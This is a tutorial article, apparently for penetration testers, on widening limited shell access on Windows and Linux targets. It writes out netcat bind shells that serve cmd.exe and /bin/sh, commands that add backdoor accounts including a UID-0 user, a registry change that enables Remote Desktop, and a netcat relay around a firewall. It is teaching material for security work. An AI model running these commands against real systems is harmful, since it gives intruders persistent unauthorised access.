Shell access on a Unix-type server lets you send commands to a target as a user of the system and get a response back (standard input to a shell and standard output from that shell). This shell service is limited; some commands will work and others will not. Windows shell access has a similar limited command structure, and in this article, I will explore how to navigate shell access and give some interesting tips as well.

With netcat, I can illustrate shell access on a Windows target. Beginning on a Windows machine, open up a command prompt and start a netcat listener:

ncat.exe -l -p 5555 -e cmd.exe

You might have to install the program before you continue. Now connect to the Windows box from your Linux machine via the netcat listener:

ncat 10.10.2.239 5555

Many commands are available, but you should avoid some of them because they will break your shell, and you will have to restart your listener. Although this might not seem important, if you have worked a number of hours to get a shell, you don’t want to lose it. A few of the commands that will break your shell are telnet, ssh, wmic, and runas. Having sysinternals installed on Windows would be a great help, but if it’s not, you can add a new user and log in to get a terminal:

net user cr0wn password /ADD

In this example, I have added the user cr0wn to the windows account with the password password. Something to consider when doing this is, if someone is running a sniffer, this information will be passed in the clear, so you might want to encrypt it. Here, I use the --ssl option to encrypt:

$ ncat -l --ssl –p 6666 –e /bin/sh

Then, I connect with the command:

$ ncat --ssl 10.9.11.32 6666

Now all of your communication is encrypted. I check this by running tcpdump on port 6666 and opening the captured file with wireshark (Figures 1 and 2).

Figure 2: Unencrypted communications.

Now that you have added a user, , run the net start command to get a list of services running (Figure 3):

>net start

Figure 3: Output from the net start command.

Several services are running from which to choosethat will allow you to log in and start a terminal session;I notice that WinSSHD is running, so I can make a secure connection via ssh to the Windows box with the new user account and get a terminal session (Figures 4 and 5). The first time I do this, I will be asked to accept a key fingerprint.

Figure 4: Login via SSH to the Windows box.

Figure 5: A terminal session on Windows.

Now I have taken a limited shell account on the Windows target and added a user, discovered what services were running and used one of the services (WinSSHD) to log in remotely and get a terminal session. If there are a limited number of services running on the Windows box, you will need to start those services. For instance, use the following to allow Remote Desktop to the Windows box:

> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

To remove this functionality, use the command:

> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

When you are finished, remove the account you have created with:

C:\> net user cr0wn /del

Now I will explore the limited shell capability on a Linux box. The same approach applies as before with Windows, in that I want to allow access to a terminal. Here, I start a netcat listener on the Linux box and connect to it with:

$ ncat 10.9.11.32 5555

Again, I can use --ssl to hide my conversation from a sniffer on the network. This command connects to the Linux box with an IP address of 10.9.11.32 on port 5555. Now, I can run some commands to see what kind of box I have:

• hostname – outputs the name of workstation
• ifconfig --a – outputs the IP address
• uname --a – identifies the kernel, processor, etc.
• whoami – identifies your (user) privileges

Avoid using any command that requires a password because it will prompt the machine on which the netcat listener is running, which is not the box you are on, and cause your shell to crash.

Adding a user account is another way to get terminal access on your target Linux box, which will work if the netcat listener is running as root (Figure 6).

Figure 6: Adding user david with UID 0.

Next, I need to give the user a password, and this is when having --ssl enabled on your netcat connection is important.

echo "david:pass123" | chpasswd

Now user account david has password pass123, so I can check to see whether SSH is running and I can log in for terminal access:

ps –aef |grep ssh

This command shows the output:

root 571 1 0 Mar26 ? 00:00:00 /usr/sbin/sshd -D

Now I can SSH into the target box with my new user account and have terminal access. If SSH is not running on the Linux box, I need to start the service, which can be different with various flavors of Linux. For my version of Ubuntu, I use:

/usr/sbin/sshd followed by ps –aef | grep ssh

to see whether the service is running. Next, I open up a terminal or SSH client and log in with my new account. When I’m finished, I remove the account with the command:

userdel david

If your target is protected by a firewall that blocks inbound SSH, you can use a port relay tool (i.e., netcat) to relay around the firewall. In the example here, I will use a Mandriva Linux distro that has a firewall enabled to block SSH from my Windows machine but allows port 5555. First, I will forward TCP connections that arrive on TCP port 5555 to the loopback (lo) interface on TCP port 22, then I will set up a server netcat to listen on port 5555 and set up a client netcat to talk to SSH on port 22. Getting the client and server to pass the data they receive to each other forms a proxy (Figure 7), so I need to start the FIFO backpipe, which already exists in the example. Next, I want to receive data on 5555, which is in listen mode; whatever comes in is moved to TCP 22 on the local host.

Figure 7: Building a relay from TCP 5555 to TCP 22.

If the target machine you are on does not have netcat installed and you are not allowed to download and install any tools, your ability to start a reverse shell is limited to the scripting languages installed on the target system. In the examples below, I use Bash, but a number of other tools are available.

Figure 8: Linux Bash shell script connects back to a netcat listener.

Figure 9: A netcat listener establishing a connection with the Linux box.

On the target box, I can use the example Bash line to connect to the listener Windows box (Figures 8 and 9). The advantage here is that Iam not using third-party tools to connect to the netcat listener, leaving a very small footprint on the targeted system. Everything I type on the local listening server is executed on the target and piped back (Figure 9).